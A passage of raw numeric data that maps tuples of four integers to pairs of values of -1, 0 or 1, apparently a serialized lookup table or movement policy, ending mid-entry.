(6, 23, -1, 2): (1, 1), (6, 23, -1, 3): (1, 1), (6, 23, -1, 4): (1, 1), (6, 23, -1, 5): (1, 0), (6, 23, 0, -5): (-1, 0), (6, 23, 0, -4): (-1, 1), (6, 23, 0, -3): (-1, 1), (6, 23, 0, -2): (-1, 1), (6, 23, 0, -1): (1, 1), (6, 23, 0, 0): (1, 1), (6, 23, 0, 1): (1, 1), (6, 23, 0, 2): (0, 1), (6, 23, 0, 3): (0, 1), (6, 23, 0, 4): (0, 1), (6, 23, 0, 5): (0, 1), (6, 23, 1, -5): (1, 1), (6, 23, 1, -4): (1, 1), (6, 23, 1, -3): (1, 1), (6, 23, 1, -2): (1, 1), (6, 23, 1, -1): (0, 1), (6, 23, 1, 0): (0, 1), (6, 23, 1, 1): (0, 1), (6, 23, 1, 2): (-1, 1), (6, 23, 1, 3): (-1, 1), (6, 23, 1, 4): (-1, 1), (6, 23, 1, 5): (-1, 1), (6, 23, 2, -5): (0, 1), (6, 23, 2, -4): (0, 1), (6, 23, 2, -3): (0, 1), (6, 23, 2, -2): (0, 1), (6, 23, 2, -1): (-1, 1), (6, 23, 2, 0): (-1, 1), (6, 23, 2, 1): (-1, 1), (6, 23, 2, 2): (-1, 1), (6, 23, 2, 3): (-1, 0), (6, 23, 2, 4): (-1, -1), (6, 23, 2, 5): (-1, -1), (6, 23, 3, -5): (1, 0), (6, 23, 3, -4): (1, 1), (6, 23, 3, -3): (1, 1), (6, 23, 3, -2): (1, 1), (6, 23, 3, -1): (1, 1), (6, 23, 3, 0): (1, 1), (6, 23, 3, 1): (0, 1), (6, 23, 3, 2): (1, 1), (6, 23, 3, 3): (1, 1), (6, 23, 3, 4): (1, 1), (6, 23, 3, 5): (1, 0), (6, 23, 4, -5): (0, 0), (6, 23, 4, -4): (0, 1), (6, 23, 4, -3): (0, 1), (6, 23, 4, -2): (0, 1), (6, 23, 4, -1): (0, 1), (6, 23, 4, 0): (0, 1), (6, 23, 4, 1): (-1, 1), (6, 23, 4, 2): (0, 1), (6, 23, 4, 3): (0, 1), (6, 23, 4, 4): (0, 1), (6, 23, 4, 5): (0, 1), (6, 23, 5, -5): (0, 0), (6, 23, 5, -4): (0, 1), (6, 23, 5, -3): (0, 1), (6, 23, 5, -2): (0, 1), (6, 23, 5, -1): (0, 1), (6, 23, 5, 0): (0, 1), (6, 23, 5, 1): (0, 1), (6, 23, 5, 2): (0, 1), (6, 23, 5, 3): (0, 1), (6, 23, 5, 4): (0, 1), (6, 23, 5, 5): (0, 1), (6, 24, -5, -5): (0, 1), (6, 24, -5, -4): (0, 1), (6, 24, -5, -3): (0, 1), (6, 24, -5, -2): (0, 1), (6, 24, -5, -1): (0, 1), (6, 24, -5, 0): (0, 1), (6, 24, -5, 1): (0, 1), (6, 24, -5, 2): (0, 1), (6, 24, -5, 3): (0, 1), (6, 24, -5, 4): (1, 1), (6, 24, -5, 5): (1, 0), (6, 24, -4, -5): (0, 1), (6, 24, -4, -4): (0, 1), (6, 24, -4, -3): (0, 1), (6, 24, -4, -2): (0, 1), (6, 24, -4, -1): (0, 1), (6, 24, -4, 0): (0, 1), (6, 24, -4, 1): (0, 1), (6, 24, -4, 2): (0, 1), (6, 24, -4, 3): (-1, 1), (6, 24, -4, 4): (0, 1), (6, 24, -4, 5): (0, 1), (6, 24, -3, -5): (0, 1), (6, 24, -3, -4): (0, 1), (6, 24, -3, -3): (0, 1), (6, 24, -3, -2): (0, 1), (6, 24, -3, -1): (0, 1), (6, 24, -3, 0): (0, 1), (6, 24, -3, 1): (0, 1), (6, 24, -3, 2): (0, 1), (6, 24, -3, 3): (0, 1), (6, 24, -3, 4): (-1, 1), (6, 24, -3, 5): (-1, 1), (6, 24, -2, -5): (0, 1), (6, 24, -2, -4): (0, 1), (6, 24, -2, -3): (0, 1), (6, 24, -2, -2): (0, 1), (6, 24, -2, -1): (0, 1), (6, 24, -2, 0): (0, 1), (6, 24, -2, 1): (0, 1), (6, 24, -2, 2): (0, 1), (6, 24, -2, 3): (0, 1), (6, 24, -2, 4): (0, 1), (6, 24, -2, 5): (0, 1), (6, 24, -1, -5): (0, 1), (6, 24, -1, -4): (0, 1), (6, 24, -1, -3): (0, 1), (6, 24, -1, -2): (0, 1), (6, 24, -1, -1): (0, 1), (6, 24, -1, 0): (1, 1), (6, 24, -1, 1): (1, 1), (6, 24, -1, 2): (1, 1), (6, 24, -1, 3): (1, 1), (6, 24, -1, 4): (1, 0), (6, 24, -1, 5): (1, -1), (6, 24, 0, -5): (-1, 1), (6, 24, 0, -4): (-1, 1), (6, 24, 0, -3): (-1, 1), (6, 24, 0, -2): (-1, 1), (6, 24, 0, -1): (1, 1), (6, 24, 0, 0): (1, 1), (6, 24, 0, 1): (0, 1), (6, 24, 0, 2): (0, 1), (6, 24, 0, 3): (0, 1), (6, 24, 0, 4): (0, 0), (6, 24, 0, 5): (0, -1), (6, 24, 1, -5): (1, 1), (6, 24, 1, -4): (1, 1), (6, 24, 1, -3): (1, 1), (6, 24, 1, -2): (1, 1), (6, 24, 1, -1): (0, 1), (6, 24, 1, 0): (0, 1), (6, 24, 1, 1): (-1, 1), (6, 24, 1, 2): (-1, 1), (6, 24, 1, 3): (-1, 1), (6, 24, 1, 4): (-1, 0), (6, 24, 1, 5): (-1, -1), (6, 24, 2, -5): (0, 1), (6, 24, 2, -4): (0, 1), (6, 24, 2, -3): (0, 1), (6, 24, 2, -2): (0, 1), (6, 24, 2, -1): (-1, 1), (6, 24, 2, 0): (-1, 1), (6, 24, 2, 1): (-1, 1), (6, 24, 2, 2): (-1, 0), (6, 24, 2, 3): (-1, -1), (6, 24, 2, 4): (-1, -1), (6, 24, 2, 5): (-1, -1), (6, 24, 3, -5): (1, 1), (6, 24, 3, -4): (1, 1), (6, 24, 3, -3): (1, 1), (6, 24, 3, -2): (1, 1), (6, 24, 3, -1): (1, 1), (6, 24, 3, 0): (0, 1), (6, 24, 3, 1): (1, 1), (6, 24, 3, 2): (1, 1), (6, 24, 3, 3): (1, 1), (6, 24, 3, 4): (1, 1), (6, 24, 3, 5): (1, 0), (6, 24, 4, -5): (0, 1), (6, 24, 4, -4): (0, 1), (6, 24, 4, -3): (0, 1), (6, 24, 4, -2): (0, 1), (6, 24, 4, -1): (0, 1), (6, 24, 4, 0): (-1, 1), (6, 24, 4, 1): (0, 1), (6, 24, 4, 2): (0, 1), (6, 24, 4, 3): (0, 1), (6, 24, 4, 4): (0, 1), (6, 24, 4, 5): (0, 1), (6, 24, 5, -5): (0, 1), (6, 24, 5, -4): (0, 1), (6, 24, 5, -3): (0, 1), (6, 24, 5, -2): (0, 1), (6, 24, 5, -1): (0, 1), (6, 24, 5, 0): (0, 1), (6, 24, 5, 1): (0, 1), (6, 24, 5, 2): (0, 1), (6, 24, 5, 3): (0, 1), (6, 24, 5, 4): (0, 1), (6, 24, 5, 5): (0, 1), (6, 25, -5, -5): (0, 1), (6, 25, -5, -4): (0, 1), (6, 25, -5, -3): (0, 1), (6, 25, -5, -2): (0, 1), (6, 25, -5, -1): (0, 1), (6, 25, -5, 0): (0, 1), (6, 25, -5, 1): (0, 1), (6, 25, -5, 2): (0, 1), (6, 25, -5, 3): (1, 1), (6, 25, -5, 4): (1, 0), (6, 25, -5, 5): (1, 0), (6, 25, -4, -5): (0, 1), (6, 25, -4, -4): (0, 1), (6, 25, -4, -3): (0, 1), (6, 25, -4, -2): (0, 1), (6, 25, -4, -1): (0, 1), (6, 25, -4, 0): (0, 1), (6, 25, -4, 1): (0, 1), (6, 25, -4, 2): (-1, 1), (6, 25, -4, 3): (0, 1), (6, 25, -4, 4): (0, 1), (6, 25, -4, 5): (0, 1), (6, 25, -3, -5): (0, 1), (6, 25, -3, -4): (0, 1), (6, 25, -3, -3): (0, 1), (6, 25, -3, -2): (0, 1), (6, 25, -3, -1): (0, 1), (6, 25, -3, 0): (0, 1), (6, 25, -3, 1): (0, 1), (6, 25, -3, 2): (0, 1), (6, 25, -3, 3): (-1, 1), (6, 25, -3, 4): (-1, 1), (6, 25, -3, 5): (-1, 1), (6, 25, -2, -5): (0, 1), (6, 25, -2, -4): (0, 1), (6, 25, -2, -3): (0, 1), (6, 25, -2, -2): (0, 1), (6, 25, -2, -1): (0, 1), (6, 25, -2, 0): (0, 1), (6, 25, -2, 1): (0, 1), (6, 25, -2, 2): (0, 1), (6, 25, -2, 3): (0, 1), (6, 25, -2, 4): (-1, 1), (6, 25, -2, 5): (-1, 1), (6, 25, -1, -5): (0, 1), (6, 25, -1, -4): (0, 1), (6, 25, -1, -3): (0, 1), (6, 25, -1, -2): (0, 1), (6, 25, -1, -1): (0, 1), (6, 25, -1, 0): (1, 1), (6, 25, -1, 1): (1, 1), (6, 25, -1, 2): (1, 1), (6, 25, -1, 3): (1, 1), (6, 25, -1, 4): (1, 0), (6, 25, -1, 5): (1, -1), (6, 25, 0, -5): (-1, 1), (6, 25, 0, -4): (-1, 1), (6, 25, 0, -3): (-1, 1), (6, 25, 0, -2): (-1, 1), (6, 25, 0, -1): (1, 1), (6, 25, 0, 0): (1, 1), (6, 25, 0, 1): (0, 1), (6, 25, 0, 2): (0, 1), (6, 25, 0, 3): (0, 1), (6, 25, 0, 4): (0, 0), (6, 25, 0, 5): (0, -1), (6, 25, 1, -5): (1, 1), (6, 25, 1, -4): (1, 1), (6, 25, 1, -3): (1, 1), (6, 25, 1, -2): (1, 1), (6, 25, 1, -1): (0, 1), (6, 25, 1, 0): (0, 1), (6, 25, 1, 1): (-1, 1), (6, 25, 1, 2): (-1, 1), (6, 25, 1, 3): (-1, 1), (6, 25, 1, 4): (-1, 0), (6, 25, 1, 5): (-1, -1), (6, 25, 2, -5): (0, 1), (6, 25, 2, -4): (0, 1), (6, 25, 2, -3): (0, 1), (6, 25, 2, -2): (0, 1), (6, 25, 2, -1): (-1, 1), (6, 25, 2, 0): (-1, 1), (6, 25, 2, 1): (-1, 1), (6, 25, 2, 2): (-1, 0), (6, 25, 2, 3): (-1, -1), (6, 25, 2, 4): (-1, -1), (6, 25, 2, 5): (-1, -1), (6, 25, 3, -5): (1, 1), (6, 25, 3, -4): (1, 1), (6, 25, 3, -3): (1, 1), (6, 25, 3, -2): (1, 1), (6, 25, 3, -1): (1, 1), (6, 25, 3, 0): (1, 1), (6, 25, 3, 1): (1, 1), (6, 25, 3, 2): (1, 1), (6, 25, 3, 3): (1, 1), (6, 25, 3, 4): (1, 0), (6, 25, 3, 5): (1, -1), (6, 25, 4, -5): (0, 1), (6, 25, 4, -4): (0, 1), (6, 25, 4, -3): (0, 1), (6, 25, 4, -2): (0, 1), (6, 25, 4, -1): (0, 1), (6, 25, 4, 0): (0, 1), (6, 25, 4, 1): (0, 1), (6, 25, 4, 2): (0, 1), (6, 25, 4, 3): (0, 1), (6, 25, 4, 4): (0, 0), (6, 25, 4, 5): (0, -1), (6, 25, 5, -5): (0, 1), (6, 25, 5, -4): (0, 1), (6, 25, 5, -3): (0, 1), (6, 25, 5, -2): (0, 1), (6, 25, 5, -1): (0, 1), (6, 25, 5, 0): (0, 1), (6, 25, 5, 1): (0, 1), (6, 25, 5, 2): (0, 1), (6, 25, 5, 3): (0, 1), (6, 25, 5, 4): (0, 0), (6, 25, 5, 5): (-1, -1), (6, 26, -5, -5): (0, 1), (6, 26, -5, -4): (0, 1), (6, 26, -5, -3): (0, 1), (6, 26, -5, -2): (0, 1), (6, 26, -5, -1): (0, 1), (6, 26, -5, 0): (0, 1), (6, 26, -5, 1): (0, 1), (6, 26, -5, 2): (1, 1), (6, 26, -5, 3): (1, 0), (6, 26, -5, 4): (0, 1), (6, 26, -5, 5): (0, 1), (6, 26, -4, -5): (0, 1), (6, 26, -4, -4): (0, 1), (6, 26, -4, -3): (0, 1), (6, 26, -4, -2): (0, 1), (6, 26, -4, -1): (0, 1), (6, 26, -4, 0): (0, 1), (6, 26, -4, 1): (-1, 1), (6, 26, -4, 2): (0, 1), (6, 26, -4, 3): (0, 1), (6, 26, -4, 4): (0, 1), (6, 26, -4, 5): (0, 1), (6, 26, -3, -5): (0, 1), (6, 26, -3, -4): (0, 1), (6, 26, -3, -3): (0, 1), (6, 26, -3, -2): (0, 1), (6, 26, -3, -1): (0, 1), (6, 26, -3, 0): (0, 1), (6, 26, -3, 1): (0, 1), (6, 26, -3, 2): (-1, 1), (6, 26, -3, 3): (-1, 1), (6, 26, -3, 4): (-1, 1), (6, 26, -3, 5): (-1, 1), (6, 26, -2, -5): (0, 1), (6, 26, -2, -4): (0, 1), (6, 26, -2, -3): (0, 1), (6, 26, -2, -2): (0, 1), (6, 26, -2, -1): (0, 1), (6, 26, -2, 0): (0, 1), (6, 26, -2, 1): (0, 1), (6, 26, -2, 2): (0, 1), (6, 26, -2, 3): (-1, 1), (6, 26, -2, 4): (-1, 1), (6, 26, -2, 5): (-1, 1), (6, 26, -1, -5): (0, 1), (6, 26, -1, -4): (0, 1), (6, 26, -1, -3): (0, 1), (6, 26, -1, -2): (0, 1), (6, 26, -1, -1): (0, 1), (6, 26, -1, 0): (1, 1), (6, 26, -1, 1): (1, 1), (6, 26, -1, 2): (1, 1), (6, 26, -1, 3): (1, 0), (6, 26, -1, 4): (-1, 1), (6, 26, -1, 5): (-1, 1), (6, 26, 0, -5): (-1, 1), (6, 26, 0, -4): (-1, 1), (6, 26, 0, -3): (-1, 1), (6, 26, 0, -2): (-1, 1), (6, 26, 0, -1): (1, 1), (6, 26, 0, 0): (0, 1), (6, 26, 0, 1): (0, 1), (6, 26, 0, 2): (0, 1), (6, 26, 0, 3): (0, 0), (6, 26, 0, 4): (-1, 1), (6, 26, 0, 5): (-1, 1), (6, 26, 1, -5): (1, 1), (6, 26, 1, -4): (1, 1), (6, 26, 1, -3): (1, 1), (6, 26, 1, -2): (1, 1), (6, 26, 1, -1): (0, 1), (6, 26, 1, 0): (-1, 1), (6, 26, 1, 1): (-1, 1), (6, 26, 1, 2): (-1, 1), (6, 26, 1, 3): (-1, 0), (6, 26, 1, 4): (-1, -1), (6, 26, 1, 5): (-1, 1), (6, 26, 2, -5): (0, 1), (6, 26, 2, -4): (0, 1), (6, 26, 2, -3): (0, 1), (6, 26, 2, -2): (0, 1), (6, 26, 2, -1): (-1, 1), (6, 26, 2, 0): (-1, 1), (6, 26, 2, 1): (-1, 1), (6, 26, 2, 2): (-1, 0), (6, 26, 2, 3): (-1, -1), (6, 26, 2, 4): (-1, 1), (6, 26, 2, 5): (-1, 1), (6, 26, 3, -5): (1, 1), (6, 26, 3, -4): (1, 1), (6, 26, 3, -3): (1, 1), (6, 26, 3, -2): (1, 1), (6, 26, 3, -1): (1, 1), (6, 26, 3, 0): (1, 1), (6, 26, 3, 1): (1, 1), (6, 26, 3, 2): (1, 1), (6, 26, 3, 3): (1, 0), (6, 26, 3, 4): (1, -1), (6, 26, 3, 5): (1, -1), (6, 26, 4, -5): (0, 1), (6, 26, 4, -4): (0, 1), (6, 26, 4, -3): (0, 1), (6, 26, 4, -2): (0, 1), (6, 26, 4, -1): (0, 1), (6, 26, 4, 0): (0, 1), (6, 26, 4, 1): (0, 1), (6, 26, 4, 2): (0, 1), (6, 26, 4, 3): (0, 0), (6, 26, 4, 4): (0, -1), (6, 26, 4, 5): (0, -1), (6, 26, 5, -5): (0, 1), (6, 26, 5, -4): (0, 1), (6, 26, 5, -3): (0, 1), (6, 26, 5, -2): (0, 1), (6, 26, 5, -1): (0, 1), (6, 26, 5, 0): (0, 1), (6, 26, 5, 1): (0, 1), (6, 26, 5, 2): (0, 1), (6, 26, 5, 3): (0, 0), (6, 26, 5, 4): (-1, -1), (6, 26, 5, 5): (-1, -1), (6, 27, -5, -5): (0, 1), (6, 27, -5, -4): (0, 1), (6, 27, -5, -3): (0, 1), (6, 27, -5, -2): (0, 1), (6, 27, -5, -1): (0, 1), (6, 27, -5, 0): (0, 1), (6, 27, -5, 1): (1, 1), (6, 27, -5, 2): (1, 0), (6, 27, -5, 3): (0, 1), (6, 27, -5, 4): (0, 1), (6, 27, -5, 5): (0, 1), (6, 27, -4, -5): (0, 1), (6, 27, -4, -4): (0, 1), (6, 27, -4, -3): (0, 1), (6, 27, -4, -2): (0, 1), (6, 27, -4, -1): (0, 1), (6, 27, -4, 0): (-1, 1), (6, 27, -4, 1): (0, 1), (6, 27, -4, 2): (0, 1), (6, 27, -4, 3): (0, 1), (6, 27, -4, 4): (-1, 1), (6, 27, -4, 5): (-1, 1), (6, 27, -3, -5): (0, 1), (6, 27, -3, -4): (0, 1), (6, 27, -3, -3): (0, 1), (6, 27, -3, -2): (0, 1), (6, 27, -3, -1): (0, 1), (6, 27, -3, 0): (0, 1), (6, 27, -3, 1): (-1, 1), (6, 27, -3, 2): (-1, 1), (6, 27, -3, 3): (-1, 1), (6, 27, -3, 4): (-1, 0), (6, 27, -3, 5): (-1, -1), (6, 27, -2, -5): (0, 1), (6, 27, -2, -4): (0, 1), (6, 27, -2, -3): (0, 1), (6, 27, -2, -2): (0, 1), (6, 27, -2, -1): (0, 1), (6, 27, -2, 0): (0, 1), (6, 27, -2, 1): (0, 1), (6, 27, -2, 2): (-1, 1), (6, 27, -2, 3): (-1, 1), (6, 27, -2, 4): (0, 1), (6, 27, -2, 5): (0, 1), (6, 27, -1, -5): (0, 1), (6, 27, -1, -4): (0, 1), (6, 27, -1, -3): (0, 1), (6, 27, -1, -2): (0, 1), (6, 27, -1, -1): (0, 1), (6, 27, -1, 0): (1, 1), (6, 27, -1, 1): (1, 1), (6, 27, -1, 2): (1, 0), (6, 27, -1, 3): (-1, 1), (6, 27, -1, 4): (-1, 1), (6, 27, -1, 5): (-1, 1), (6, 27, 0, -5): (-1, 1), (6, 27, 0, -4): (-1, 1), (6, 27, 0, -3): (-1, 1), (6, 27, 0, -2): (-1, 1), (6, 27, 0, -1): (1, 1), (6, 27, 0, 0): (0, 1), (6, 27, 0, 1): (0, 1), (6, 27, 0, 2): (0, 0), (6, 27, 0, 3): (-1, 1), (6, 27, 0, 4): (-1, 1), (6, 27, 0, 5): (-1, 1), (6, 27, 1, -5): (1, 1), (6, 27, 1, -4): (1, 1), (6, 27, 1, -3): (1, 1), (6, 27, 1, -2): (1, 1), (6, 27, 1, -1): (0, 1), (6, 27, 1, 0): (-1, 1), (6, 27, 1, 1): (-1, 1), (6, 27, 1, 2): (-1, 0), (6, 27, 1, 3): (-1, -1), (6, 27, 1, 4): (-1, -1), (6, 27, 1, 5): (-1, 1), (6, 27, 2, -5): (0, 1), (6, 27, 2, -4): (0, 1), (6, 27, 2, -3): (0, 1), (6, 27, 2, -2): (0, 1), (6, 27, 2, -1): (-1, 1), (6, 27, 2, 0): (-1, 1), (6, 27, 2, 1): (-1, 1), (6, 27, 2, 2): (-1, 1), (6, 27, 2, 3): (-1, 1), (6, 27, 2, 4): (-1, 1), (6, 27, 2, 5): (-1, 1), (6, 27, 3, -5): (1, 1), (6, 27, 3, -4): (1, 1), (6, 27, 3, -3): (1, 1), (6, 27, 3, -2): (1, 1), (6, 27, 3, -1): (1, 1), (6, 27, 3, 0): (1, 1), (6, 27, 3, 1): (1, 1), (6, 27, 3, 2): (1, 0), (6, 27, 3, 3): (1, -1), (6, 27, 3, 4): (1, 1), (6, 27, 3, 5): (1, 0), (6, 27, 4, -5): (0, 1), (6, 27, 4, -4): (0, 1), (6, 27, 4, -3): (0, 1), (6, 27, 4, -2): (0, 1), (6, 27, 4, -1): (0, 1), (6, 27, 4, 0): (0, 1), (6, 27, 4, 1): (0, 1), (6, 27, 4, 2): (0, 0), (6, 27, 4, 3): (0, -1), (6, 27, 4, 4): (0, 1), (6, 27, 4, 5): (0, 1), (6, 27, 5, -5): (0, 1), (6, 27, 5, -4): (0, 1), (6, 27, 5, -3): (0, 1), (6, 27, 5, -2): (0, 1), (6, 27, 5, -1): (0, 1), (6, 27, 5, 0): (0, 1), (6, 27, 5, 1): (0, 1), (6, 27, 5, 2): (0, 0), (6, 27, 5, 3): (-1, -1), (6, 27, 5, 4): (0, 1), (6, 27, 5, 5): (0, 1), (6, 28, -5, -5): (0, 1), (6, 28, -5, -4): (0, 1), (6, 28, -5, -3): (0, 1), (6, 28, -5, -2): (0, 1), (6, 28, -5, -1): (0, 1), (6, 28, -5, 0): (1, 1), (6, 28, -5, 1): (1, 0), (6, 28, -5, 2): (0, 1), (6, 28, -5, 3): (0, 1), (6, 28, -5, 4): (0, 1), (6, 28, -5, 5): (0, 1), (6, 28, -4, -5): (0, 1), (6, 28, -4, -4): (0, 1), (6, 28, -4, -3): (0, 1), (6, 28, -4, -2): (0, 1), (6, 28, -4, -1): (-1, 1), (6, 28, -4, 0): (0, 1), (6, 28, -4, 1): (0, 1), (6, 28, -4, 2): (0, 1), (6, 28, -4, 3): (-1, 1), (6, 28, -4, 4): (-1, 1), (6, 28, -4, 5): (-1, 1), (6, 28, -3, -5): (0, 1), (6, 28, -3, -4): (0, 1), (6, 28, -3, -3): (0, 1), (6, 28, -3, -2): (0, 1), (6, 28, -3, -1): (0, 1), (6, 28, -3, 0): (-1, 1), (6, 28, -3, 1): (-1, 1), (6, 28, -3, 2): (-1, 1), (6, 28, -3, 3): (0, 1), (6, 28, -3, 4): (0, 0), (6, 28, -3, 5): (-1, -1), (6, 28, -2, -5): (0, 1), (6, 28, -2, -4): (0, 1), (6, 28, -2, -3): (0, 1), (6, 28, -2, -2): (0, 1), (6, 28, -2, -1): (0, 1), (6, 28, -2, 0): (0, 1), (6, 28, -2, 1): (-1, 1), (6, 28, -2, 2): (-1, 1), (6, 28, -2, 3): (0, 1), (6, 28, -2, 4): (0, 0), (6, 28, -2, 5): (-1, -1), (6, 28, -1, -5): (0, 1), (6, 28, -1, -4): (0, 1), (6, 28, -1, -3): (0, 1), (6, 28, -1, -2): (0, 1), (6, 28, -1, -1): (0, 1), (6, 28, -1, 0): (1, 1), (6, 28, -1, 1): (1, 1), (6, 28, -1, 2): (-1, 1), (6, 28, -1, 3): (-1, 1), (6, 28, -1, 4): (-1, 0), (6, 28, -1, 5): (-1, -1), (6, 28, 0, -5): (-1, 1), (6, 28, 0, -4): (-1, 1), (6, 28, 0, -3): (-1, 1), (6, 28, 0, -2): (-1, 1), (6, 28, 0, -1): (1, 1), (6, 28, 0, 0): (0, 1), (6, 28, 0, 1): (0, 1), (6, 28, 0, 2): (-1, 1), (6, 28, 0, 3): (-1, 1), (6, 28, 0, 4): (-1, 0), (6, 28, 0, 5): (-1, -1), (6, 28, 1, -5): (1, 1), (6, 28, 1, -4): (1, 1), (6, 28, 1, -3): (1, 1), (6, 28, 1, -2): (1, 1), (6, 28, 1, -1): (0, 1), (6, 28, 1, 0): (-1, 1), (6, 28, 1, 1): (-1, 1), (6, 28, 1, 2): (-1, 0), (6, 28, 1, 3): (-1, -1), (6, 28, 1, 4): (-1, -1), (6, 28, 1, 5): (-1, 1), (6, 28, 2, -5): (0, 1), (6, 28, 2, -4): (0, 1), (6, 28, 2, -3): (0, 1), (6, 28, 2, -2): (0, 1), (6, 28, 2, -1): (-1, 1), (6, 28, 2, 0): (-1, 1), (6, 28, 2, 1): (-1, 1), (6, 28, 2, 2): (-1, 0), (6, 28, 2, 3): (-1, 1), (6, 28, 2, 4): (-1, 1), (6, 28, 2, 5): (-1, 1), (6, 28, 3, -5): (1, 1), (6, 28, 3, -4): (1, 1), (6, 28, 3, -3): (1, 1), (6, 28, 3, -2): (1, 1), (6, 28, 3, -1): (1, 1), (6, 28, 3, 0): (1, 1), (6, 28, 3, 1): (1, 0), (6, 28, 3, 2): (1, -1), (6, 28, 3, 3): (1, 1), (6, 28, 3, 4): (1, 0), (6, 28, 3, 5): (1, 0), (6, 28, 4, -5): (0, 1), (6, 28, 4, -4): (0, 1), (6, 28, 4, -3): (0, 1), (6, 28, 4, -2): (0, 1), (6, 28, 4, -1): (0, 1), (6, 28, 4, 0): (0, 1), (6, 28, 4, 1): (0, 0), (6, 28, 4, 2): (0, -1), (6, 28, 4, 3): (0, 1), (6, 28, 4, 4): (0, 1), (6, 28, 4, 5): (0, 1), (6, 28, 5, -5): (0, 1), (6, 28, 5, -4): (0, 1), (6, 28, 5, -3): (0, 1), (6, 28, 5, -2): (0, 1), (6, 28, 5, -1): (0, 1), (6, 28, 5, 0): (0, 1), (6, 28, 5, 1): (0, 0), (6, 28, 5, 2): (-1, -1), (6, 28, 5, 3): (0, 1), (6, 28, 5, 4): (0, 1), (6, 28, 5, 5): (0, 1), (6, 29, -5, -5): (0, 1), (6, 29, -5, -4): (0, 1), (6, 29, -5, -3): (0, 1), (6, 29, -5, -2): (0, 1), (6, 29, -5, -1): (1, 1), (6, 29, -5, 0): (1, 0), (6, 29, -5, 1): (0, 1), (6, 29, -5, 2): (0, 1), (6, 29, -5, 3): (0, 1), (6, 29, -5, 4): (0, 1), (6, 29, -5, 5): (0, 1), (6, 29, -4, -5): (0, 1), (6, 29, -4, -4): (0, 1), (6, 29, -4, -3): (0, 1), (6, 29, -4, -2): (-1, 1), (6, 29, -4, -1): (0, 1), (6, 29, -4, 0): (0, 1), (6, 29, -4, 1): (0, 1), (6, 29, -4, 2): (-1, 1), (6, 29, -4, 3): (-1, 1), (6, 29, -4, 4): (-1, 1), (6, 29, -4, 5): (-1, 1), (6, 29, -3, -5): (0, 1), (6, 29, -3, -4): (0, 1), (6, 29, -3, -3): (0, 1), (6, 29, -3, -2): (0, 1), (6, 29, -3, -1): (-1, 1), (6, 29, -3, 0): (-1, 1), (6, 29, -3, 1): (-1, 1), (6, 29, -3, 2): (0, 1), (6, 29, -3, 3): (0, 0), (6, 29, -3, 4): (-1, -1), (6, 29, -3, 5): (0, 1), (6, 29, -2, -5): (0, 1), (6, 29, -2, -4): (0, 1), (6, 29, -2, -3): (0, 1), (6, 29, -2, -2): (0, 1), (6, 29, -2, -1): (0, 1), (6, 29, -2, 0): (-1, 1), (6, 29, -2, 1): (-1, 1), (6, 29, -2, 2): (-1, 1), (6, 29, -2, 3): (-1, 0), (6, 29, -2, 4): (-1, -1), (6, 29, -2, 5): (0, 1), (6, 29, -1, -5): (0, 1), (6, 29, -1, -4): (0, 1), (6, 29, -1, -3): (0, 1), (6, 29, -1, -2): (0, 1), (6, 29, -1, -1): (0, 1), (6, 29, -1, 0): (1, 1), (6, 29, -1, 1): (-1, 1), (6, 29, -1, 2): (-1, 1), (6, 29, -1, 3): (-1, 0), (6, 29, -1, 4): (-1, -1), (6, 29, -1, 5): (-1, 1), (6, 29, 0, -5): (-1, 1), (6, 29, 0, -4): (-1, 1), (6, 29, 0, -3): (-1, 1), (6, 29, 0, -2): (-1, 1), (6, 29, 0, -1): (0, 1), (6, 29, 0, 0): (0, 1), (6, 29, 0, 1): (-1, 1), (6, 29, 0, 2): (-1, 1), (6, 29, 0, 3): (-1, 0), (6, 29, 0, 4): (-1, -1), (6, 29, 0, 5): (-1, 1), (6, 29, 1, -5): (1, 1), (6, 29, 1, -4): (1, 1), (6, 29, 1, -3): (1, 1), (6, 29, 1, -2): (1, 1), (6, 29, 1, -1): (-1, 1), (6, 29, 1, 0): (-1, 1), (6, 29, 1, 1): (-1, 0), (6, 29, 1, 2): (-1, -1), (6, 29, 1, 3): (-1, -1), (6, 29, 1, 4): (-1, -1), (6, 29, 1, 5): (-1, 1), (6, 29, 2, -5): (0, 1), (6, 29, 2, -4): (0, 1), (6, 29, 2, -3): (0, 1), (6, 29, 2, -2): (0, 1), (6, 29, 2, -1): (-1, 1), (6, 29, 2, 0): (-1, 1), (6, 29, 2, 1): (-1, 1), (6, 29, 2, 2): (-1, 1), (6, 29, 2, 3): (-1, 1), (6, 29, 2, 4): (-1, 1), (6, 29, 2, 5): (-1, 1), (6, 29, 3, -5): (1, 1), (6, 29, 3, -4): (1, 1), (6, 29, 3, -3): (1, 1), (6, 29, 3, -2): (1, 1), (6, 29, 3, -1): (1, 1), (6, 29, 3, 0): (1, 0), (6, 29, 3, 1): (1, -1), (6, 29, 3, 2): (1, 1), (6, 29, 3, 3): (1, 0), (6, 29, 3, 4): (1, 0), (6, 29, 3, 5): (1, 0), (6, 29, 4, -5): (0, 1), (6, 29, 4, -4): (0, 1), (6, 29, 4, -3): (0, 1), (6, 29, 4, -2): (0, 1), (6, 29, 4, -1): (0, 1), (6, 29, 4, 0): (0, 0), (6, 29, 4, 1): (0, -1), (6, 29, 4, 2): (0, 1), (6, 29, 4, 3): (0, 1), (6, 29, 4, 4): (0, 1), (6, 29, 4, 5): (0, 1), (6, 29, 5, -5): (0, 1), (6, 29, 5, -4): (0, 1), (6, 29, 5, -3): (0, 1), (6, 29, 5, -2): (0, 1), (6, 29, 5, -1): (0, 1), (6, 29, 5, 0): (0, 0), (6, 29, 5, 1): (-1, -1), (6, 29, 5, 2): (0, 1), (6, 29, 5, 3): (0, 1), (6, 29, 5, 4): (0, 1), (6, 29, 5, 5): (0, 1), (6, 30, -5, -5): (0, 1), (6, 30, -5, -4): (0, 1), (6, 30, -5, -3): (0, 1), (6, 30, -5, -2): (1, 1), (6, 30, -5, -1): (1, 0), (6, 30, -5, 0): (0, 1), (6, 30, -5, 1): (0, 1), (6, 30, -5, 2): (0, 1), (6, 30, -5, 3): (0, 1), (6, 30, -5, 4): (0, 1), (6, 30, -5, 5): (0, 1), (6, 30, -4, -5): (0, 1), (6, 30, -4, -4): (0, 1), (6, 30, -4, -3): (-1, 1), (6, 30, -4, -2): (0, 1), (6, 30, -4, -1): (0, 1), (6, 30, -4, 0): (0, 1), (6, 30, -4, 1): (-1, 1), (6, 30, -4, 2): (-1, 1), (6, 30, -4, 3): (-1, 1), (6, 30, -4, 4): (-1, 1), (6, 30, -4, 5): (-1, 1), (6, 30, -3, -5): (0, 1), (6, 30, -3, -4): (0, 1), (6, 30, -3, -3): (0, 1), (6, 30, -3, 